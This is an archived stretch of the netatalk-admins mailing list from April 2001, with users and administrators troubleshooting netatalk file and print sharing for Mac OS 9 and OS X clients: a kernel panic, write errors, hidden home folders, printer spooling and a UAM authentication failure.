To: <netatalk-admins@umich.edu>
Subject: netatalk 2.1.4pre37 with OS X 10.0.1 as a client (kernel panic)
Message-ID: <Pine.LNX.4.33.0104141125590.2810-100000@squirrel.bio.brandeis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Update for interested parties on behavior of netatalk with OS X as a
client after upgrading to 10.0.1

Server side: Linux RH 6.2 / kernel. 2.2.19 / netatalk 2.1.4pre37

I will try 1.5pre6 with OS X sometime soon and report back.

Downloading files:

Generally as before with 10.0.0. I can connect to the server and download
files, at a decent speed. However, if I try to move more than about
1000 files at a time, I get error -43. If I download files in smaller
groups they're all fine.

Uploading files:

Not so good. Sometimes it works, for small batches of files. A couple of
times I got "operation not completed, insufficient privileges". On two
occasions, I managed to crash OS X with a kernel panic, as follows:

panic(cpu 0): File afpfs.kmodproj/afpfs_vfsutils.c, line 831: assertion
'(hp->h_meta->h_usecount>=1) && (hp->h_meta_h_usecount<=2)' failed
backtrace: 0x0008bdb4 0x0002a100 0x077b0a68 0x077aaeb8 0x077a35f4
0x000be80c 0x000b82ef 0x0009cce4 0x00098f40 0x6d65776f
kernel modules in backtrace: afpfs_fs(156)@0x779c000
Debugger(panic)
Waiting for remote debugger connection
Continue 'c'
Reboot 'r'

-- 
Steven Karel, Ph.D.
Biology Department, Brandeis Univ, MS 008
415 South St Waltham MA 02454-9110
TEL 781 736 3104   FAX 781 736 3107


From netatalk.administrators-errors@umich.edu  Sat Apr 14 12:47:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA25160
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 14 Apr 2001 12:47:19 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA19808
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 14 Apr 2001 12:47:12 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA19784
	for netatalk.administrators-members@umich.edu; Sat, 14 Apr 2001 12:47:11 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA19745
	for <netatalk-admins@umich.edu>; Sat, 14 Apr 2001 12:47:10 -0400 (EDT)
Received: (qmail 27496 invoked by alias); 14 Apr 2001 16:47:24 -0000
Received: (qmail 27484 invoked by uid 0); 14 Apr 2001 16:47:24 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 14 Apr 2001 16:47:24 -0000
Subject: Re: netatalk 1.5pre6 problem
From: Matthew Keller <kellermg@potsdam.edu>
To: Brian Hendrickson <brian@megapump.com>
Cc: netatalk-admins@umich.edu
In-Reply-To: <200104141050.f3EAowW29889@mail.megapump.com>
References: <200104141050.f3EAowW29889@mail.megapump.com>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 14 Apr 2001 12:47:17 -0400
Message-Id: <987266837.24807.0.camel@comp10574.potsdam.edu>
Mime-Version: 1.0

On 14 Apr 2001 03:50:11 -0700, Brian Hendrickson wrote:
> I recompiled 1.5pre5 from source and added -DSHADOWPW and -DFLOCKS with 
> no change

    First off, *PLEASE* *PLEASE* *PLEASE* use the configure switch to 
    change flags such as this. ./configure --with-shadow --with-pam 
    --with-flock-locks etc. Do a ./configure --help to see all of the
    options. It makes configuring much easier, and also allows the
    developers to change the way things are configured underneath, while
    keeping the higher-level configuration the same. This is only an
    option with the pre1.5 tree- Anyone using 1.4B2(+asun) doesn't have
    this luxury.

    Next, all of my testing is done on OS 9.1 and 8.5 as I don't have
    OS10 running yet (maybe next week).

    Nearly last, this is the wrong forum for pre1.5 issues. This list is
    for support for the Umich 1.4B2 version (deprecated) and the
    associated +asun2.1.3 and +asun2.1.4- And will be used more actively
    once 1.5 is release-grade, and the "netatalk-admins" in general
    start moving to 1.5 (and yes, it really does kick serious butt, once
    the bugs get squished). Although some of us are on this list too,
    most everyone who's really working with pre1.5 is on
    netatalk-devel@sourceforge.net (
    http://netatalk.sourceforge.net/mailing_lists.php ) - Although it's
    targetted towards developers, any user-reports for the pre1.5
    releases should go here as well to make sure "the masses" see them.
    I've already been slapped for cross-posting, otherwise I'd just pipe
    the pre1.5 messages from here over to there.

    Finally, BIG THANKS to everyone who's downloading the pre1.5
    releases and reporting back. The more people out there finding
    problems and giving intelligent reports about the problems they are
    having, the faster the bugs will be found and nailed. pre6 is really
    good on the systems I've tested- The most stable in the 1.5 tree.

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Sat Apr 14 14:44:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA27692
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 14 Apr 2001 14:44:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA08632
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 14 Apr 2001 14:44:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA08622
	for netatalk.administrators-members@umich.edu; Sat, 14 Apr 2001 14:44:56 -0400 (EDT)
Received: from mail1.21stcentury.net (mail1.21stcentury.net [216.80.19.58])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA08616
	for <netatalk-admins@umich.edu>; Sat, 14 Apr 2001 14:44:56 -0400 (EDT)
Received: (qmail 49842 invoked from network); 14 Apr 2001 18:44:50 -0000
Received: from 24-148-67-26.na.21stcentury.net (HELO ?192.168.1.102?) (24.148.67.26)
  by mail1.21stcentury.net with SMTP; 14 Apr 2001 18:44:50 -0000
User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630)
Date: Sat, 14 Apr 2001 13:47:25 -0500
Subject: connection to server
From: John Arends <jarends@mac.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6FE056D.B82%jarends@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I'm considering using a netatalk server in a school with 3rd through 5th
graders. Right now we have one big novell server that handles library stuff
which is all PC, and also has the student files. (all student machines are
macs) It isn't working well.

I'd like to put up a netatalk server for student files, but I have some
issues with how students will connect to it. We don't want them using the
chooser, so we have resorted to desktop aliases so far.

I have 2 possible solutions, but neither works ideally.

#1 A setup like we have now. I create a netatalk volume for /home/ and it
has all the users folders in it. The click on their folder and save into it.
This is what we have now. Novell's permissions allow folders that the
students don't have access to to be invisible. When they open the users
folder, the only folder they see in it is their own. With netatalk, folders
the kids don't have access to just have the icons showing they can't open
them. With close to 500 users this isn't acceptable to have that many
folders visible. it will be too slow. Does anyone know a way to make the
other users' folders invisible?

#2 share the users' home directory(~). This will be similar to apple's idisk
where an icon shows up on the desktop  with the username and all the files
will be in it. The problem with this approach is that I can't use an alias
to connect to the server since every user's volume has a different name. I
don't want the kids messing with the chooser. Does anyone know of an
application or an applescript or something that will allow you to connect to
a server and gets its list of volumes?

One way I could solve #2 is to name the home directory "Home" rather than
the username. The problem with this however is that people will not be able
to tell who is logged in since it will always be called home. Therefore I
definitely do not want to do this.


Comments anyone? I'd be really interested how other people have this set up.


From netatalk.administrators-errors@umich.edu  Sat Apr 14 15:12:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA28309
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 14 Apr 2001 15:12:03 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07331
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 14 Apr 2001 15:11:55 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07321
	for netatalk.administrators-members@umich.edu; Sat, 14 Apr 2001 15:11:55 -0400 (EDT)
Received: from c007.snv.cp.net (c007-h013.c007.snv.cp.net [209.228.33.220])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA07269
	for <Netatalk-Admins@Umich.Edu>; Sat, 14 Apr 2001 15:11:54 -0400 (EDT)
Message-Id: <200104141911.PAA07269@funinacapulco.mr.itd.umich.edu>
Received: (cpmta 14072 invoked from network); 14 Apr 2001 12:11:59 -0700
Received: from dsl-64-192-249-121.telocity.com (HELO localhost) (64.192.249.121)
  by smtp.telocity.com (209.228.33.220) with SMTP; 14 Apr 2001 12:11:59 -0700
X-Sent: 14 Apr 2001 19:11:59 GMT
Date: Sat, 14 Apr 2001 15:11:42 -0400
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
X-Mailer: Apple Mail (2.387)
From: Joseph Annino <anninj@rpi.edu>
To: "<Netatalk-Admins@Umich.Edu>" <Netatalk-Admins@umich.edu>
Mime-Version: 1.0 (Apple Message framework v387)
In-Reply-To: <B6FE056D.B82%jarends@mac.com>
Subject: Netatalk problems on MacOS X 10.0.1
Content-Transfer-Encoding: 7bit

I just setup netatalk on a RedHat Linux 7.0 intel box using the rpms in 
RedHat's contrib ftp server.  While I can mount both my home directory 
and a volume I have in /hom/shared from the OS X finder, I cannot write 
any files to these areas.  Whenever I try to write a file it creates a 
0k empty file in the server side, and then the finder gives an error 
code of -43 or -2.  I checked the permissions of these directories and 
the user and group I log in as can write to them, as some of the FAQs 
mention.  I'm not sure what else to try now.  Any help would be great.

From netatalk.administrators-errors@umich.edu  Sun Apr 15 09:48:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA21794
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 15 Apr 2001 09:48:29 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA14902
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 15 Apr 2001 09:48:29 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA14894
	for netatalk.administrators-members@umich.edu; Sun, 15 Apr 2001 09:48:28 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA14884
	for <netatalk-admins@umich.edu>; Sun, 15 Apr 2001 09:48:27 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id KAA15971
	for <netatalk-admins@umich.edu>; Sun, 15 Apr 2001 10:12:29 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
Subject: Printers for Dummies?
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Sun, 15 Apr 2001 09:48:17 -0400
Message-ID: <1erwgiw.sdiilg1hgocvaM@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 82 days)

Could someone point me to a simple step by step for setting up a print
spooler for a postscript printer thru netatalk?

Example printer would be a HP 4MV.

tia

From netatalk.administrators-errors@umich.edu  Sun Apr 15 10:31:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA22712
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 15 Apr 2001 10:31:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA20437
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 15 Apr 2001 10:31:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA20406
	for netatalk.administrators-members@umich.edu; Sun, 15 Apr 2001 10:31:42 -0400 (EDT)
Received: from texlog2.texas.rr.com ([24.93.35.223])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA20367
	for <netatalk-admins@umich.edu>; Sun, 15 Apr 2001 10:31:41 -0400 (EDT)
Received: from [10.1.0.4] (cs2872-149.austin.rr.com [24.28.72.149])
	by texlog2.texas.rr.com (8.12.0.Beta5/8.12.0.Beta5) with ESMTP id f3FEVfrd002476
	for <netatalk-admins@umich.edu>; Sun, 15 Apr 2001 09:31:41 -0500 (CDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sun, 15 Apr 2001 09:31:38 -0500
Subject: netatalk 1.4b2+asun2.1.4 authentication problem
From: JollyRoger <jollyroger@boxpo.com>
To: netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B6FF1AFA.8381%jollyroger@boxpo.com>
In-Reply-To: <200102130305.WAA29158@funinacapulco.mr.itd.umich.edu>
Mime-version: 1.0
Reply-To: jollyroger@boxpo.com
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I just installed netatalk.  I got no errors during compile. But I am getting
the following error from Mac clients when trying to login:

"The User Authentication Method required by this server can't be found.
Please check the AppleShare folder in the Extensions folder and try again"

Here is my startup log:

Apr 15 22:17:20 obscurity atalkd[11629]: restart (1.4b2+asun2.1.4)
Apr 15 22:17:21 obscurity atalkd[11629]: zip_getnetinfo for eth0
Apr 15 22:17:40 obscurity last message repeated 2 times
Apr 15 22:17:50 obscurity atalkd[11629]: config for no router
Apr 15 22:17:51 obscurity atalkd[11629]: ready 0/0/0
Apr 15 22:17:51 obscurity atalk: atalkd startup succeeded
Apr 15 22:18:03 obscurity papd[11640]: restart (1.4b2+asun2.1.4)
Apr 15 22:18:03 obscurity papd[11640]: No such printer: lp
Apr 15 22:18:03 obscurity papd[11640]: printcap problem: lp
Apr 15 22:18:03 obscurity atalk: papd startup succeeded
Apr 15 22:18:03 obscurity atalk: afpd startup succeeded
Apr 15 22:18:09 obscurity papd[11640]: register obscurity:LaserWriter@*
Apr 15 22:18:09 obscurity afpd[11649]: obscurity:AFPServer@* started on
65280.142:130 (1.4b2+asun2.1.4)
Apr 15 22:18:09 obscurity afpd[11649]: ASIP started on 10.1.0.3:548(1)
(1.4b2+asun2.1.4)

When clients try to connect and receive the error message, this is what gets
logged:

Apr 15 22:20:54 obscurity afpd[11654]: ASIP session:548(1) from
10.1.0.4:49418(2)
Apr 15 22:20:54 obscurity afpd[11649]: server_child[1] 11654 done

My top-level netatalk Makefile starts out like this:

# cat Makefile
# Root of installation. Subdirectories will be ${DESTDIR}/etc,
# ${DESTDIR}/bin, and ${DESTDIR}/lib.
DESTDIR=/usr/local/atalk

# for system-level binaries
SBINDIR=$(DESTDIR)/sbin
# for user-level binaries
BINDIR=$(DESTDIR)/bin
# for program libraries (*.a)
LIBDIR=$(DESTDIR)/lib
# for machine-independent resources (pagecount.ps, etc.)
RESDIR=$(DESTDIR)/etc
# for configuration files (AppleVolumes.system, etc.)
ETCDIR=$(DESTDIR)/etc
# for include files
INCDIR=$(DESTDIR)/include
# Root of man pages.  Subdirectories will be
# ${MANDIR}/man1, ${MANDIR}/man4, and ${MANDIR}/man8.
MANDIR=$(DESTDIR)/man

#INSTALL_PREFIX=
#SBINDIR=${INSTALL_PREFIX}/usr/sbin
#BINDIR=${INSTALL_PREFIX}/usr/bin
#LIBDIR=${INSTALL_PREFIX}/usr/lib
#RESDIR=${INSTALL_PREFIX}/usr/lib/atalk
#ETCDIR=${INSTALL_PREFIX}/etc/atalk
#INCDIR=${INSTALL_PREFIX}/usr/include
#MANDIR=${INSTALL_PREFIX}/usr/man

# Location of the Berkeley v2 db library and include files.
# NOTE: leave this commented out for now. it's a placeholder for a future
# feature.
#DB2DIR=/usr/local/BerkeleyDB

# Location of the Diffie-Hellman library and include files. Uncomment
# this out if you want DHX as an allowable UAM for afpd. Currently,
# this is set up expecting libcrypto from the openssl project. As a
# result, this option will enable all of the encrypted authentication
# methods (including the Randnum Exchange ones). DHX expects cast.h,
# dh.h, and bn.h in $CRYPTODIR/include with -lcrypto in
# $CRYPTODIR/lib. NOTE: os x server will complain if you use both
# randnum exchange and DHX.
CRYPTODIR=/usr/local/ssl

# Location of the DES library and include files. Uncomment this out if
# you want Randnum Exchange and 2-Way Randnum Exchange as allowable
# UAMs for afpd. We expect libdes.a in $DESDIR/lib and des.h in
# $DESDIR/include.  This option will get overridden by CRYPTODIR.
#DESDIR=/usr/local

# Location of the tcp wrapper library and include files. Comment this out
# if you don't want tcp wrapper support. having tcp wrapper support is
# highly recommended.
TCPWRAPDIR=/usr

# Location of PAM support library and include files. Uncomment this if
# you want to enable PAM support.
PAMDIR=/usr

# Location of cracklib support library and include files. This is used
# in the password changing routines. Uncomment this out if you want to
# enable support.
CRACKDIR=/usr

# Location of the AFS and Kerberos libraries and include files.  Uncomment
# and edit these if you want to include AFS or Kerberos support in afpd
# or Kerberos support in papd.
AFSDIR=/usr/local/afs
KRBDIR=/usr/local/kerberos

(snip)

The authentication modules do indeed exist in #RESDIR/uams/:

# ls -al /usr/local/atalk/etc/uams/
total 60
drwxr-xr-x    2 root     root         4096 Apr 15 22:14 .
drwxr-xr-x    5 root     root         4096 Apr 15 22:17 ..
lrwxrwxrwx    1 root     root           11 Apr 15 22:14 uams_clrtxt.so ->
uams_pam.so
lrwxrwxrwx    1 root     root           15 Apr 15 22:14 uams_dhx.so ->
uams_dhx_pam.so
-rwxr-xr-x    1 root     root         1869 Apr 15 22:14 uams_dhx_pam.so
-rwxr-xr-x    1 root     root         1872 Apr 15 22:14 uams_dhx_passwd.so
-rwxr-xr-x    1 root     root         3361 Apr 15 22:14 uams_guest.so
-rwxr-xr-x    1 root     root         1865 Apr 15 22:14 uams_pam.so
-rwxr-xr-x    1 root     root         3952 Apr 15 22:14 uams_passwd.so
-rwxr-xr-x    1 root     root        32319 Apr 15 22:14 uams_randnum.so

And I believe my /usr/local/atalk/etc/afpd.conf file is correct:

- -transall -savepassword -setpassword -uampath /usr/local/atalk/etc/uams
-uamlist uams_dhx_pam.so,uams_dhx_passwd.so,ua
ms_guest.so,uams_pam.so,uams_passwd.so,uams_randnum.so

(I tried NOT specifying the -uampath as well - which resulted in no
difference in behavior):

- -transall -savepassword -setpassword -uamlist
uams_dhx_pam.so,uams_dhx_passwd.so,ua
ms_guest.so,uams_pam.so,uams_passwd.so,uams_randnum.so

For some reason, either (a) the server is unable to find authentication
modules requested -or- (b) the Mac client is unable to find an
authentication module to match what the server requires (it's hard to tell
from the error message!).

I'm about out of tricks here.  Can someone help me out?

JR


From netatalk.administrators-errors@umich.edu  Sun Apr 15 10:37:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA22935
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 15 Apr 2001 10:37:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA14225
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 15 Apr 2001 10:37:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA14203
	for netatalk.administrators-members@umich.edu; Sun, 15 Apr 2001 10:37:56 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA14168
	for <netatalk-admins@umich.edu>; Sun, 15 Apr 2001 10:37:55 -0400 (EDT)
Received: from math.ohio-state.edu (math.ohio-state.edu [128.146.111.30])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f3FEbk029215;
	Sun, 15 Apr 2001 10:37:46 -0400
Date: Sun, 15 Apr 2001 10:37:46 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: Lee Blevins <leeb@digitalgraphics.net>
cc: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: Printers for Dummies?
In-Reply-To: <1erwgiw.sdiilg1hgocvaM@cx448422-b.wwck1.ri.home.com>
Message-ID: <Pine.GSO.4.31.0104151037330.5613-100000@math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


man papd has examples...

On Sun, 15 Apr 2001, Lee Blevins wrote:

> Could someone point me to a simple step by step for setting up a print
> spooler for a postscript printer thru netatalk?
>
> Example printer would be a HP 4MV.
>
> tia
>

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Sun Apr 15 10:41:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA23041
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 15 Apr 2001 10:41:33 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA23291
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 15 Apr 2001 10:41:25 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA23278
	for netatalk.administrators-members@umich.edu; Sun, 15 Apr 2001 10:41:24 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA23234
	for <Netatalk-Admins@umich.edu>; Sun, 15 Apr 2001 10:41:23 -0400 (EDT)
Received: from math.ohio-state.edu (math.ohio-state.edu [128.146.111.30])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f3FEfU031084;
	Sun, 15 Apr 2001 10:41:30 -0400
Date: Sun, 15 Apr 2001 10:41:30 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: Joseph Annino <anninj@rpi.edu>
cc: "<Netatalk-Admins@Umich.Edu>" <Netatalk-Admins@umich.edu>
Subject: Re: Netatalk problems on MacOS X 10.0.1
In-Reply-To: <200104141911.PAA07269@funinacapulco.mr.itd.umich.edu>
Message-ID: <Pine.GSO.4.31.0104151037500.5613-100000@math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I believe the answer is: it don't work.

I've had the best luck with 1.4b2+asu2.1.4, which seems to work fine
except that resource forks don't show up (ok, so it doesn't work fine).

For whoever maintains the SourceForge sight, any possibility of putting
this in the FAQ? I think this may pop up fairly regularly....

On Sat, 14 Apr 2001, Joseph Annino wrote:

> I just setup netatalk on a RedHat Linux 7.0 intel box using the rpms in
> RedHat's contrib ftp server.  While I can mount both my home directory
> and a volume I have in /hom/shared from the OS X finder, I cannot write
> any files to these areas.  Whenever I try to write a file it creates a
> 0k empty file in the server side, and then the finder gives an error
> code of -43 or -2.  I checked the permissions of these directories and
> the user and group I log in as can write to them, as some of the FAQs
> mention.  I'm not sure what else to try now.  Any help would be great.
>

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Sun Apr 15 17:24:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA03430
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 15 Apr 2001 17:24:07 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA18994
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 15 Apr 2001 17:24:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA18966
	for netatalk.administrators-members@umich.edu; Sun, 15 Apr 2001 17:24:06 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA18890
	for <Netatalk-Admins@umich.edu>; Sun, 15 Apr 2001 17:24:05 -0400 (EDT)
Received: (qmail 8155 invoked by alias); 15 Apr 2001 21:24:12 -0000
Received: (qmail 8145 invoked by uid 0); 15 Apr 2001 21:24:11 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 15 Apr 2001 21:24:11 -0000
Subject: Re: Netatalk problems on MacOS X 10.0.1
From: Matthew Keller <kellermg@potsdam.edu>
To: Chad Cunningham <ccunning@math.ohio-state.edu>
Cc: Netatalk-Admins@umich.edu
In-Reply-To: <Pine.GSO.4.31.0104151037500.5613-100000@math.ohio-state.edu>
References: <Pine.GSO.4.31.0104151037500.5613-100000@math.ohio-state.edu>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 15 Apr 2001 17:24:05 -0400
Message-Id: <987369845.13953.1.camel@comp10574.potsdam.edu>
Mime-Version: 1.0

Unofficial $0.02 - Don't use RPM builds from RedHat, they're generally
bad. 1.4B2+asun2.1.4 is quite stable when built from source, although it
is considered "untested" by the old maintainers (I can say, however,
that it's pretty solid for most environments (unless you use Quark ;)
 
The current developers working on 1.5 (currently in a "pre1.5" state) -
And more importantly the builds being released off of the SourceForge
site - Are the only real "developer supported" releases- There simply
aren't enough developers to "deal" with maintaining both code bases- As
far as FAQ entries regarding 1.4b2 releases, there isn't anything
consistant to put in the FAQ's except a big 240point "YMMV" and "Stay
away from ANY builds from distributions (Debian, RedHat and SuSe
(possibly others as well) builds tend to be quite buggy, and use
non-normal build options). Patches against the 1.4B2 tree are still
being looked at for inclusion into 1.5 (if they get to the right
place/people), but are more prone to being rejected than patches against
the 1.5 code. I recommend any patches be submitted through the
SourceForge patch manager (http://sourceforge.net/projects/netatalk/) or
to the netatalk-devel list (subscribe off of the aforementioned URL).

On 15 Apr 2001 10:41:30 -0400, Chad Cunningham wrote:
> 
> I believe the answer is: it don't work.
> 
> I've had the best luck with 1.4b2+asu2.1.4, which seems to work fine
> except that resource forks don't show up (ok, so it doesn't work fine).
> 
> For whoever maintains the SourceForge sight, any possibility of putting
> this in the FAQ? I think this may pop up fairly regularly....
> 
> On Sat, 14 Apr 2001, Joseph Annino wrote:
> 
> > I just setup netatalk on a RedHat Linux 7.0 intel box using the rpms in
> > RedHat's contrib ftp server.  While I can mount both my home directory
> > and a volume I have in /hom/shared from the OS X finder, I cannot write
> > any files to these areas.  Whenever I try to write a file it creates a
> > 0k empty file in the server side, and then the finder gives an error
> > code of -43 or -2.  I checked the permissions of these directories and
> > the user and group I log in as can write to them, as some of the FAQs
> > mention.  I'm not sure what else to try now.  Any help would be great.
> >
> 
> -- 
> 
> Chad Cunningham
> ccunning@math.ohio-state.edu
> 
> "Well, once again my friend, we find that science is a two-headed beast. One
> head is nice, it gives us aspirin and other modern conveniences,...but the
> other head of science is bad! Oh beware the other head of science, Arthur, it
> bites!"
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Mon Apr 16 06:47:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA27283
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Apr 2001 06:47:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA20867
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Apr 2001 06:47:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA20865
